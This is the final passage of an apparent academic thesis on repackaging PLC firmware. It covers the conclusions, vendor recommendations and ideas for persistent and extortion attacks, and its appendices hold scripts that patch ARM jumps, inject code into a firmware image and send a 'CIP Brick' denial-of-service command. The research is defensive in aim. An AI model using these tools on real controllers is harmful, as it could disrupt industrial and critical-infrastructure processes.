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execution times are not statistically diﬀerent when executed by the repackaged ﬁrmware
images.
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V. Conclusions and Future Work
5.1 Conclusions
This research demonstrated that ﬁrmware repackaging attacks against a PLC are
feasible. Once validation methods used by the PLC are known, an attacker has the ability
to build a custom ﬁrmware image and deploy that image to the PLC. The presence of a
JTAG port makes it possible to use a debugger during the reverse engineering process.
CIP traﬃc, a commonly used protocol in ICS, can be captured using a protocol analyzer
as part of the reverse engineering process. Validation procedures can be bypassed when
designed to only capture transmission errors rather than actual malicious traﬃc. Part
numbers on ICs make it possible to ﬁnd known control signals or codes in data sheets.
The codes provide searchable terms when disassembling the ﬁrmware and make it
possible to ﬁnd the routines that interface with speciﬁc hardware components in the PLC
such as ﬂash memory. The lack of protected memory makes it possible to use areas in
the ﬁrmware image as space for data rather than risk overwriting possibly used areas of
memory and risking exposure of the attack by causing additional faults. Function names
provide critical clues about the use of speciﬁc functions, in particular, the logging and
connection manager functions which were both used in the DoS attacks.
5.2 Recommendations
Clues exist in the design of both the ﬁrmware and hardware of the PLC that can be
exploited by the determined attacker. The reverse engineering and repackaging process
can be hampered by implementing certain design changes. The removal of ASCII text
function names or other symbol tables increases the diﬃculty of the reverse engineering
process. Instead, codes or numbers could be used.
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Packed, obfuscated, or encrypted ﬁrmware delays the determined attacker. Digitally
signing ﬁrmware updates increases the diﬃculty of repackaging; however, steps should
be taken to ensure updates are not signed with revoked certiﬁcates. The use of a custom
pinout or non-standard connector for JTAG increases the diﬃculty of determining the
required pins and implementing a debugger. Permanently disabling the JTAG interface
further protects the PLC from analysis using a debugger. Mapping the ﬁrmware image
into protected memory creates an additional hurdle for the attacker. The attacker must
use a diﬀerent area of memory that may contain an unknown function or data item whose
deletion destabilizes the PLC and increases the risk of detection. Using unmarked ICs
increases the diﬃculty of determining the correct instruction set used by the ﬁrmware
image. Finally, communications between devices in the ICS network should be encrypted
to prevent the reverse engineering of commands.
5.3 Impact
This research demonstrates the feasibility of directing a ﬁrmware repackaging
attack speciﬁcally towards PLCs. Such an attack should be expected to occur. SCADA
systems continue to see increased exposure and visibility as they connect to the Internet
increasing the chance of malicious attack. It should be assumed that potential adversaries
are targeting the nation’s critical infrastructure and attempting to build attacks similar to
the repackaging attacks developed in this research. If an attacker is able to gain control
of a trusted source for ﬁrmware updates or software patches, that attacker could distribute
repackaged ﬁrmware images to customers who assume that the software delivery point
is trusted. As such, vendors should make every eﬀort to build secure SCADA devices by
using secure design practices and safeguarding methods for delivering ﬁrmware updates.
A compromised PLC could remain dormant, and when exploited, cause serious damage.
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5.4 Future Work
5.4.1 Common Firmware Design Features.
Certain features found in the PLC ﬁrmware image appear in a similar format in
diﬀerent PLCs from Allen-Bradley. The same data handling structure was found during
a cursory examination of multiple ﬁrmware images for two diﬀerent Allen-Bradley PLC
models. As is common in PLC ﬁrmware development, these attributes likely extend to
other manufacturers. For example, if a PLC uses CIP as a communication protocol, the
ﬁrmware should contain a similar object handler. Search eﬀorts in other PLC models
can use this knowledge as a starting point by searching for jump tables and known
object codes. Similarly, searching for known control codes used in ﬂash memory should
identify ﬂash memory functions. Future research can ﬁngerprint common features in PLC
ﬁrmware such as commonly used libraries. Such work could be used to automate analysis
of ﬁrmware to search for known design weaknesses.
5.4.2 Performance Analysis.
Performance analysis has previously shown to be eﬀective in detecting modiﬁca-
tions. However, the success of the detection method relies on the type of metric collected.
Further research is needed to test various metrics against diﬀerent types of ﬁrmware mod-
iﬁcation attacks to determine the eﬀectiveness of the analysis. Performance analysis should
also be extended to include multiple ﬁrmware versions for a single PLC type. Such eﬀorts
should test for metrics common across versions such that a few carefully chosen metrics
provide accurate assessment of the state of multiple PLCs at diﬀerent patch levels. Fu-
ture research should expand analysis to cover multiple brands of PLCs from a variety of
vendors providing analysis metrics to the critical infrastructure community. Expansion
to other brands may encourage vendors to improve security in their products and take a
proactive stance in providing a secure SCADA environment.
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Future eﬀorts should also perform more exhaustive testing of the eﬀects of ﬁrmware
modiﬁcation on PLC performance. Examination in this research focused on eﬀects to
ﬁrmware stability and performance. Future eﬀorts could test ladder logic accuracy in
addition to performance.
5.4.3 Data Corruption or Modiﬁcation.
Attacks developed for this experiment focused on DoS attacks. Further research can
extend attack types by intercepting or modifying data reported by the PLC. Such attacks
provide more ﬂexibility in the type of actions an attacker can take such as data exﬁltration
or physical control of a process.
5.4.4 Persistence and Propagation.
The attacks developed during this research can be overwritten by loading a new
ﬁrmware image. Future research can take advantage of available ﬂash memory to make
the attack persistent. Functionality can be added to the attack to prevent ﬁrmware updates
while falsely reporting that the update was successful. Additionally, future eﬀorts
may take advantage of the communication channels available to the PLC to distribute
repackaged ﬁrmware images to other PLCs. Combining these attacks with the ability to
control reported data can provide an attacker complete control over the PLC.
5.4.5 Extortion.
The persistent DoS attack can be extended to include an extortion component.
The repackaged ﬁrmware could include support for an additional CIP command that
restores ﬂash memory to its original state and provides time for the attacker to transmit
the restoration command making the attack reversible.
5.5 Summary
This research shows that ﬁrmware repackaging attacks are possible. Hardware
and ﬁrmware analysis provides the necessary information needed to build an attack
speciﬁcally targeting the given PLC. Firmware image functions are derived using
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a combination of static and dynamic analysis and attack designs are built around
weaknesses in the ﬁrmware image. This thesis shows the steps used to build the
repackaged ﬁrmware when starting with minimal knowledge of the target device. This
research shows that the PLC used in this experiment is vulnerable to a repackaging attack,
but still presents challenges that must be overcome to maliciously take control of the
device. A combination of secure design decisions and external protective measures can
improve PLC security.
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Appendix A:
Jump Calculation IDA Pro Script
The following IDA Pro script requests a start point and destination, and recalculates
the opcode for an ARM jump instruction given the pre-existing condition codes and jump
type.
1 / / ModifyJump . i d c
2 / / Wr i t t e n by Ca r l S c h u e t t − AFIT
3 / / Used f o r ARM hooking . I t r e c a l c u l a t e s t h e o f f s e t s used i n b ranch commands t o r e d i r e c t
c o n t r o l f low .
4
5 # i n c l u d e < i d c . idc >
6
7 s t a t i c c onv e r tO f f t oAdd r ( branchEA , o f f s e t ) {
8 au t o newEA ;
9
10 o f f s e t = o f f s e t + 2 ;
11 o f f s e t = o f f s e t * 4 ;
12 newEA = branchEA + o f f s e t ;
13 r e t u r n newEA ;
14
15 }
16
17 s t a t i c c onv e r tAdd r t oO f f ( s t a r tAdd r , endAddr ) {
18 au t o newOff ;
19
20 newOff = endAddr − s t a r t A d d r ;
21 newOff = ( newOff / 4) − 2 ;
22
23 r e t u r n newOff ;
24
25 }
26
27 s t a t i c f indCond ( opCode ) {
28 au t o r e s u l t ;
29
30 r e s u l t = ( opCode >> 28) & 0xF ;
31 r e t u r n r e s u l t ;
32 }
33
34 s t a t i c g e t O f f s e t ( opCode ) {
35 au t o r e s u l t ;
36
37 r e s u l t = opCode & 0xFFFFFF ;
38 r e t u r n r e s u l t ;
39 }
40
41 s t a t i c modOffse t ( opCode , newOff se t ) {
42 au t o op ;
43 au t o o f f s e t ;
44
45 op = opCode & 0xFF000000 ;
46 o f f s e t = newOff se t & 0x00FFFFFF ;
47 op = op | o f f s e t ;
48 r e t u r n op ;
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49 }
50
51 s t a t i c g e tL i nk ( opCode ) {
52 au t o r e s u l t ;
53 r e s u l t = opCode & 0x1000000 ;
54 r e t u r n r e s u l t ;
55
56 }
57
58 s t a t i c i sJump ( opCode ) {
59 au t o r e s u l t ;
60
61 r e s u l t = opCode & 0xA000000 ;
62
63 i f ( r e s u l t == 0xA000000 ) {
64 r e t u r n 1 ;
65 } e l s e {
66 r e t u r n 0 ;
67 }
68 }
69
70 s t a t i c main ( ) {
71 au t o minea ;
72 au t o maxea ;
73 au t o c u r r e n t O f f s e t ;
74 a u t o newOff se t ;
75 a u t o opCode ;
76 au t o c o n d i t i o n ;
77 au t o l i n k ;
78 au t o o f f s e t ;
79 a u t o modOpcode ;
80 au t o jumpOp ;
81 au t o newAddress ;
82 a u t o ge tAddr ;
83 au t o YNMsg = ” I s 00000000 t h e a d d r e s s o f t h e jump command you wish t o modify ? ” ;
84 au t o f ;
85 a u t o fd ;
86
87 minea = MinEA ( ) ;
88 maxea = MaxEA ( ) ;
89 c u r r e n t O f f s e t = 0 ;
90 newOff se t = 0 ;
91 jumpOp = 0 ;
92 ge tAddr = 0 ;
93
94 jumpOp = ScreenEA ( ) ;
95 Message ( ” Cu r r e n t Address : %x\n” , jumpOp ) ;
96
97 YNMsg[ 3 : 1 1 ] = a t o a ( jumpOp ) ;
98
99 ge tAddr = AskYN(0 , YNMsg) ;
100
101 i f ( ge tAddr != 1) {
102 jumpOp = AskAddr ( jumpOp , ” P l e a s e e n t e r a d d r e s s o f jump i n s t r u c t i o n t o modify . ” ) ;
103 }
104
105 opCode = Dword ( jumpOp ) ;
106
107 i f ( i sJump ( opCode ) == 1) {
108 c o n d i t i o n = f indCond ( opCode ) ;
109 l i n k = ge tL i nk ( opCode ) ;
110 o f f s e t = g e t O f f s e t ( opCode ) ;
111 newAddress = conve r tO f f t oAdd r ( jumpOp , o f f s e t ) ;
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112 newAddress = AskAddr ( newAddress , ” En t e r a d d r e s s o f new jump l o c a t i o n . ” ) ;
113 Message ( ”New Address : %x\n” , newAddress ) ;
114 } e l s e {
115 Message ( ”Not a Jump Ope r a t i o n . E x i t i n g ” ) ;
116 r e t u r n ( 1 ) ;
117 }
118
119 newOff se t = conve r tAdd r t oO f f ( jumpOp , newAddress ) ;
120 Message ( ”New O f f s e t : %x\n” , newOff se t ) ;
121 modOpcode = modOffse t ( opCode , newOf f se t ) ;
122
123 Message ( ” Address : %x OpCode : %x I s i t a jump : %d Cond i t i o n : %x O f f s e t : %x Jump Address :
%x\n” , jumpOp , opCode , i sJump ( opCode ) , c o n d i t i o n , o f f s e t , newAddress ) ;
124 Message ( ” Modi f i ed opcode i s : %x\n” , modOpcode ) ;
125
126 f = AskF i l e ( 1 , ” * . b i n ” , ” S e l e c t i n s t r u c t i o n save f i l e . ” ) ;
127 fd = fopen ( f , ”w” ) ;
128
129 i f ( jumpOp >= 0xd00000 ) {
130 w r i t e l o n g ( fd , jumpOp − 0xd00000 , 1 ) ;
131 } e l s e {
132 w r i t e l o n g ( fd , jumpOp , 1 ) ;
133 }
134 w r i t e l o n g ( fd , modOpcode , 0 ) ;
135
136 }
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Appendix B:
Python Scripts
B.1 Modify Firmware
This python script builds the repackaged ﬁrmware by extracting only the opcodes from
the source assembled ﬁle and writing the opcodes to the ﬁrmware image at the speciﬁed
start address. The script also modiﬁes a single jump address to redirect execution to the
attack code.
1 #−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
2 # Name : mod f i rmware . py
3 # Purpose : i n s e r t i n s t r u c t i o n s i n t o t h e f i rmware image and modify t h e jump
4 # t o t h e i n s t r u c t i o n
5 # Author : c s c h u e t t
6 #
7 # C r e a t ed : 29 /09 /2013
8 # Copy r i gh t : ( c ) c s c h u e t t 2013
9 # L i cence : <your l i c e n c e >
10 #−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
11
12 impo r t sys , g e t o p t
13 impo r t s h u t i l
14 impo r t os
15 from s t r u c t impo r t *
16
17 de f main ( a rgv ) :
18 p a s s
19
20 f img = ’ ’
21 i n s t f = ’ ’
22 jumpf = ’ ’
23 s a d d r e s s = 0x0
24 j a d d r e s s = 0x0
25 opcode = 0x0
26
27 ## i f l e n ( sy s . a rgv ) != 4 :
28 ## p r i n t ’ Usage : mod f i rmware . py < f i rmware image > < i n s t r u c t i o n s f i l e > < s t a r t
a dd r e s s > ’
29 ## sy s . e x i t ( )
30
31 t r y :
32 op t s , a r g s = g e t o p t . g e t o p t ( argv , ” h f : i : j : s : v : ” )
33 e x c ep t g e t o p t . G e t o p tE r r o r :
34 p r i n t ’ Usage : mod f i rmware . py − f < f i rmware image > − i < i n s t r u c t i o n s f i l e > −s < s t a r t
a dd r e s s > −v <new v e r s i o n number> ’
35 sy s . e x i t ( )
36
37 f o r opt , a r g i n o p t s :
38 i f op t == ’−h ’ :
39 p r i n t ’ Usage : mod f i rmware . py − f < f i rmware image > − i < i n s t r u c t i o n s f i l e > − j <
jump f i l e > −s < s t a r t a dd r e s s > −v <new v e r s i o n number> ’
40 sy s . e x i t ( )
41 e l i f op t == ’− f ’ :
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42 f img = a rg
43 e l i f op t == ’− i ’ :
44 i n s t f = a rg
45 e l i f op t == ’− j ’ :
46 jumpf = a rg
47 e l i f op t == ’−s ’ :
48 s a d d r e s s = i n t ( arg , 1 6 )
49 e l i f op t == ’−v ’ :
50 v e r s i o n = i n t ( a r g )
51
52 #Copy f i rmware image f i l e f o r w r i t i n g
53 d s t= ’modded / ’ + f img
54 p r i n t d s t
55 t r y :
56 s h u t i l . copy ( fimg , d s t )
57 p r i n t ’ Copied f i l e %s t o %s ’ % ( fimg , d s t )
58 e x c ep t Excep t ion , msg :
59 p r i n t ’ F a i l e d t o copy %s t o %s ’ % ( fimg , d s t )
60
61 w i th open ( jumpf , ’ rb ’ ) a s f jump :
62 j a d d r e s s = unpack ( ’> i ’ , f jump . r e ad ( 4 ) ) [ 0 ]
63 opcode = unpack ( ’> i ’ , f jump . r e ad ( 4 ) ) [ 0 ]
64 f jump . c l o s e d
65
66 p r i n t hex ( j a d d r e s s )
67 p r i n t hex ( opcode )
68
69 w i th open ( d s t , ’ r+b ’ ) a s f f i rm :
70 wi th open ( i n s t f , ’ rb ’ ) a s f i n s t :
71 #Seek t o and modify v e r s i o n number
72 f f i rm . seek (0 x5 )
73 f f i rm . w r i t e ( pack ( ”b” , v e r s i o n ) )
74 #Seek t o mod i f i ed jump a d d r e s s
75 f f i rm . seek ( j a d d r e s s )
76 f f i rm . w r i t e ( pack ( ”> i ” , opcode ) )
77 # seek t o s t a r t o f i n s t r u c t i o n l o c a t i o n
78 f f i rm . seek ( s a d d r e s s )
79
80 #Seek t o s t a r t o f i n s t r u c t i o n s i n i n s t r u c t i o n f i l e
81 #ARM ELF assembly f i l e s s t a r t t h e i n s t r u c t i o n s a t by t e 0x34
82 # b e f o r e t h a t i s h e ade r i n f o rm a t i o n .
83 i n s t i n f o = os . s t a t ( i n s t f )
84 i n s t s i z e = i n s t i n f o . s t s i z e
85
86 # r e ad a l l d a t a from f i l e a f t e r t h e heade r
87 f i n s t . s eek (0 x34 )
88 b l ock = f i n s t . r e ad ( i n s t s i z e − 0x34 )
89 p r i n t b l ock
90 e n d i n s t = b lock . f i n d ( ’ \ x41 \ x1f ’ )
91 p r i n t e n d i n s t
92
93 f i n s t . s eek ( 3 4 )
94 f o r j i n r ange ( 0 , e n d i n s t ) :
95 f f i rm . w r i t e ( b l ock [ j ] )
96 f i n s t . c l o s e d
97 f f i rm . c l o s e d
98
99 p r i n t ’ Firmware image : ’ , f img
100 p r i n t ’ I n s t r u c t i o n F i l e : ’ , i n s t f
101 p r i n t ’ S t a r t Address : ’ , hex ( s a d d r e s s )
102
103 i f n ame == ’ m a i n ’ :
104 main ( sy s . a rgv [ 1 : ] )
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B.2 Attack Front End
This python script simpliﬁes sending attack commands to the PLC. The front end is
built as an extension of python classes developed by Dunlap for sending CIP commands
[20].
1 #−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
2 # Name : iENIP . py
3 # Purpose : Uses t k i n t e r t o c r e a t e a f r o n t end f o r c o n v e n i e n t l y s end i ng
4 # a t t a c k codes t o t h e PLC . Uses ENIP c l a s s w r i t t e n by Dunlap
5 # Author : c s c h u e t t
6 #
7 # C r e a t ed : 10 /12 /2013
8 # Copy r i gh t : ( c ) c s c h u e t t 2013
9 # L i cence : <your l i c e n c e >
10 #−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
11
12 from Tk i n t e r impo r t *
13 from t t k impo r t *
14 from ENIP impo r t *
15
16
17 c l a s s Example ( Frame ) :
18
19 de f i n i t ( s e l f , p a r e n t ) :
20 Frame . i n i t ( s e l f , p a r e n t )
21
22 s e l f . p a r e n t = p a r e n t
23 s e l f . i n i t U I ( )
24
25 de f i n i t U I ( s e l f ) :
26 s e l f . e = ENIP ( )
27
28 w = 350
29 h = 220
30
31 sw = s e l f . p a r e n t . w i n f o s c r e e nw i d t h ( )
32 sh = s e l f . p a r e n t . w i n f o s c r e e n h e i g h t ( )
33
34 x = ( sw − w) /2
35 y = ( sh − h ) /2
36 s e l f . p a r e n t . geomet ry ( ’%dx%d+%d+%d ’ % (w, h , x , y ) )
37
38 s e l f . p a r e n t . t i t l e ( ”CIP Commands” )
39 s e l f . s t y l e = S t y l e ( )
40 s e l f . s t y l e . t h eme use ( ” d e f a u l t ” )
41
42 s e l f . pack ( f i l l =BOTH, expand=1)
43
44 s e l f . c o l umncon f i gu r e ( 1 , we igh t =1)
45 s e l f . c o l umncon f i gu r e ( 3 , pad=7)
46 s e l f . r owcon f i g u r e ( 3 , we igh t =1)
47 s e l f . r owcon f i g u r e ( 5 , pad=3)
48
49 s e l f . l b l = Labe l ( s e l f , t e x t=”Windows” )
50 s e l f . l b l . g r i d ( s t i c k y=W, pady=4 , padx=5)
51
52 s e l f . ipL = Labe l ( s e l f , t e x t=” IP Address : ” )
53 s e l f . po r tL = Labe l ( s e l f , t e x t=” Des t . p o r t : ” )
54 s e l f . s l o t L = Labe l ( s e l f , t e x t=” S l o t # : ” )
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55 s e l f . c ipL = Labe l ( s e l f , t e x t=” C l a s s / I n s t a n c e : ” )
56
57 s e l f . i p = En t ry ( s e l f )
58 s e l f . p o r t = En t ry ( s e l f )
59 s e l f . s l o t = En t ry ( s e l f )
60 s e l f . c ipC = En t ry ( s e l f , w id th =3)
61 s e l f . c i p I = En t ry ( s e l f , w id th =3)
62
63 s e l f . i p . i n s e r t ( 0 , ” 192 . 1 68 . 1 08 . 2 05 ” )
64 s e l f . p o r t . i n s e r t ( 0 , ” 44818 ” )
65 s e l f . s l o t . i n s e r t ( 0 , ”0” )
66 s e l f . c ipC . i n s e r t ( 0 , ” bb ” )
67 s e l f . c i p I . i n s e r t ( 0 , ” cc ” )
68
69
70
71 s e l f . ipL . g r i d ( row=1 , column=0 , padx=1 , s t i c k y=W)
72 s e l f . po r tL . g r i d ( row=2 , column=0 , padx=1 , s t i c k y=W)
73 s e l f . s l o t L . g r i d ( row=3 , column=0 , padx=1 , s t i c k y=W)
74 s e l f . c ipL . g r i d ( row=4 , column=0 , padx=1 , s t i c k y=W)
75
76 s e l f . i p . g r i d ( row=1 , column=1 , padx=5 , s t i c k y=W)
77 s e l f . p o r t . g r i d ( row=2 , column=1 , padx=5 , s t i c k y=W)
78 s e l f . s l o t . g r i d ( row=3 , column=1 , padx=5 , s t i c k y=W)
79 s e l f . c ipC . g r i d ( row=4 , column=1 , padx=5 , s t i c k y=W)
80 s e l f . c i p I . g r i d ( row=4 , column=1 , padx=5)
81
82
83 s e l f . connec tB = But ton ( s e l f , t e x t=” Connect ” , command= s e l f . c onne c t )
84 s e l f . connec tB . g r i d ( row=1 , column=3)
85
86 s e l f . a b t n = But ton ( s e l f , t e x t=”REM Prog ” , s t a t e=DISABLED , command= s e l f . s e t P r o g )
87 s e l f . a b t n . g r i d ( row=2 , column=3)
88
89 s e l f . c b t n = But ton ( s e l f , t e x t=”REM Run” , s t a t e=DISABLED , command= s e l f . se tRun )
90 s e l f . c b t n . g r i d ( row=3 , column=3)
91
92 s e l f . db tn = But ton ( s e l f , t e x t=”CIP Br i ck ” , s t a t e=DISABLED , command= s e l f . cipBomb )
93 s e l f . db tn . g r i d ( row=4 , column=3)
94
95 s e l f . ewind = Text ( s e l f , padx=5 , pady=5 , wid th =40 , h e i g h t =3)
96 s e l f . ewind . g r i d ( row=5 , column=0 , columnspan=4)
97 s e l f . ewind . i n s e r t ( INSERT , ”Ready . . . ” )
98
99 s e l f . ob tn = But ton ( s e l f , t e x t=” Close ” , command= s e l f . q u i t )
100 s e l f . ob tn . g r i d ( row=6 , column=3)
101
102 de f connec t ( s e l f ) :
103 s e l f . e . c onne c t ( s e l f . i p . g e t ( ) , i n t ( s e l f . p o r t . g e t ( ) ) , i n t ( s e l f . s l o t . g e t ( ) ) )
104 s e l f . a b t n [ ’ s t a t e ’ ] = ’ e n ab l ed ’
105 s e l f . c b t n [ ’ s t a t e ’ ] = ’ e n ab l ed ’
106 s e l f . db tn [ ’ s t a t e ’ ] = ’ e n ab l ed ’
107
108 # p r i n t s e l f . i p . g e t ( )
109 # p r i n t s e l f . p o r t . g e t ( )
110 # p r i n t s e l f . s l o t . g e t ( )
111
112 de f s e t P r o g ( s e l f ) :
113 s e l f . e . s e tToP rog ( )
114
115 de f se tRun ( s e l f ) :
116 s e l f . e . se tToRun ( )
117
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118 de f cipBomb ( s e l f ) :
119 message = ( s e l f . c ipC . g e t ( ) + ’ 02200124 ’ + s e l f . c i p I . g e t ( ) ) . decode ( ’ hex ’ )
120 # p r i n t message
121 i f l e n ( message ) % 2 > 0 :
122 message += ’ \ x00 ’
123
124 r o u t e = s e l f . e . ge tPathOnBack ( 1 )
125
126 r eq = s e l f . e . wrapUnconnectedSend ( message , r o u t e )
127 r eq = s e l f . e . wrapENIP ( 0 , ’ ’ , 0xB2 , req , command= ’ \ x6f \ x00 ’ )
128
129
130 t ime1 = t ime . t ime ( )
131 s e l f . e . send ( r eq )
132 s e l f . ewind . d e l e t e ( 1 . 0 ,END)
133 s e l f . ewind . i n s e r t ( INSERT , r eq + ’ \n ’ )
134 s e l f . ewind . i n s e r t (END, s e l f . e . r e cv ( ) + ’ \n ’ )
135 # s e l f . ewind . i n s e r t (END, ’ Closed Po r t Time : ’ + ( t ime . t ime ( ) − t ime1 ) + ’\ n ’ )
136
137 de f main ( ) :
138 r o o t = Tk ( )
139 app = Example ( r o o t )
140 r o o t . main loop ( )
141
142
143 i f n ame == ’ m a i n ’ :
144 main ( )
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Appendix C:
R Scripts
The following R script runs the analysis tool developed by Dunlap to build the results
table used for performance analysis discussed in section 4.3.
C.1 Timed DoS Analysis
1 getwd ( )
2 se twd ( ” c : / Users / c s c h u e t t / Documents / d a t a a n a l y s i s ” )
3 s i n k ( ” combo ou tpu t . t x t ” )
4 op t = o p t i o n s ( s c i p e n =5 , d i g i t s =5)
5 l i b r a r y ( x t a b l e )
6 l i b r a r y ( v i o p l o t )
7 l i b r a r y ( p l o t r i x )
8 l i b r a r y ( g gp l o t 2 )
9 s o u r c e ( ’ s r c / i n c l u d e .R ’ )
10 s o u r c e ( ’ s r c / mat2 tex .R ’ )
11 s o u r c e ( ’ s r c / a n a l y z e .R ’ )
12
13 t h r e s h = 0 .0001
14
15 # p r e v d i r = getwd ( )
16 # se twd ( ” . / d a t a / p re l mode ” )
17
18 # s e t u p = r e ad . csv ( ’ e x p e r im e n t a l s e t u p . t x t ’ , h e ade r=FALSE)
19 # co lnames ( s e t u p ) = c ( ’ run ’ , ’ l a d ’ , ’ f i rm ’ )
20 # s e t u p $ r u n = app ly ( a s . a r r a y ( s e t u p $ r u n ) , 1 , f u n c t i o n ( x1 ) s p r i n t f ( ” runP %02d” , x1 ) )
21 # s e t u p = s e t u p [ o r d e r ( s e t u p $ r u n ) , ]
22
23 # f i l e s = s e t u p $ r u n
24
25 # f o r ( i i n 1 : l e n g t h ( f i l e s ) ) {
26 # c u r r e n t = r e ad . csv ( f i l e s [ i ] , h e ade r=TRUE)
27 # c u r r e n t <− c u r r e n t [ , 5 ]
28 # c u r r e n t <− c u r r e n t [ c u r r e n t != 0]
29 # cu r r en t n ame = p a s t e ( ” r u n ” , s u b s t r ( f i l e s [ i ] , 6 , 7 ) , sep=” ” )
30 # w r i t e . c sv ( c u r r e n t , f i l e =cu r r en tname , row . names=FALSE , c o l . names=” Task ” , quo t e=FALSE)
31 # }
32
33
34 # p r i n t ( s e t u p $ r u n )
35
36
37 # se twd ( p r e v d i r )
38
39 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t ime s . \ n” )
40 p = a n a l y z e ( ’ . / d a t a / combo ladde r ’ , nMeas=10000 , u s e b i g=TRUE, i n c l u d e o u t s=FALSE , mode=
FALSE)
41 w r i t e . c sv ( p , f i l e = ’ . / d a t a / combo ladde r / e x p d a t a b i g l a d d e r . csv ’ )
42
43 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t ime s . \ n” )
44 p = a n a l y z e ( ’ . / d a t a / combo ladde r ’ , nMeas=10000 , u s e b i g=FALSE , i n c l u d e o u t s=FALSE , mode=
FALSE)
45 w r i t e . c sv ( p , f i l e = ’ . / d a t a / combo ladde r / e x p d a t a sm a l l l a d d e r . c sv ’ )
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46
47 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t ime s . \ n” )
48 p = a n a l y z e ( ’ . / d a t a / t i m e l a d d e r ’ , nMeas=10000 , u s e b i g=TRUE, i n c l u d e o u t s=FALSE , mode=FALSE
)
49 w r i t e . c sv ( p , f i l e = ’ . / d a t a / t i m e l a d d e r / e x p d a t a b i g l a d d e r . csv ’ )
50
51 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t ime s . \ n” )
52 p = a n a l y z e ( ’ . / d a t a / t i m e l a d d e r ’ , nMeas=10000 , u s e b i g=FALSE , i n c l u d e o u t s=FALSE , mode=
FALSE)
53 w r i t e . c sv ( p , f i l e = ’ . / d a t a / t i m e l a d d e r / e x p d a t a sm a l l l a d d e r . c sv ’ )
54
55 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t ime s . \ n” )
56 p = a n a l y z e ( ’ . / d a t a / s o f t c i p l a d d e r ’ , nMeas=10000 , u s e b i g=TRUE, i n c l u d e o u t s=FALSE , mode=
FALSE)
57 w r i t e . c sv ( p , f i l e = ’ . / d a t a / s o f t c i p l a d d e r / e x p d a t a b i g l a d d e r . csv ’ )
58
59 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t ime s . \ n” )
60 p = a n a l y z e ( ’ . / d a t a / s o f t c i p l a d d e r ’ , nMeas=10000 , u s e b i g=FALSE , i n c l u d e o u t s=FALSE , mode=
FALSE)
61 w r i t e . c sv ( p , f i l e = ’ . / d a t a / s o f t c i p l a d d e r / e x p d a t a sm a l l l a d d e r . c sv ’ )
62
63 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t ime s . \ n” )
64 p = a n a l y z e ( ’ . / d a t a / h a r d c i p l a d d e r ’ , nMeas=10000 , u s e b i g=TRUE, i n c l u d e o u t s=FALSE , mode=
FALSE)
65 w r i t e . c sv ( p , f i l e = ’ . / d a t a / h a r d c i p l a d d e r / e x p d a t a b i g l a d d e r . csv ’ )
66
67 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t ime s . \ n” )
68 p = a n a l y z e ( ’ . / d a t a / h a r d c i p l a d d e r ’ , nMeas=10000 , u s e b i g=FALSE , i n c l u d e o u t s=FALSE , mode=
FALSE)
69 w r i t e . c sv ( p , f i l e = ’ . / d a t a / h a r d c i p l a d d e r / e x p d a t a sm a l l l a d d e r . c sv ’ )
70
71 s i n k ( )
96
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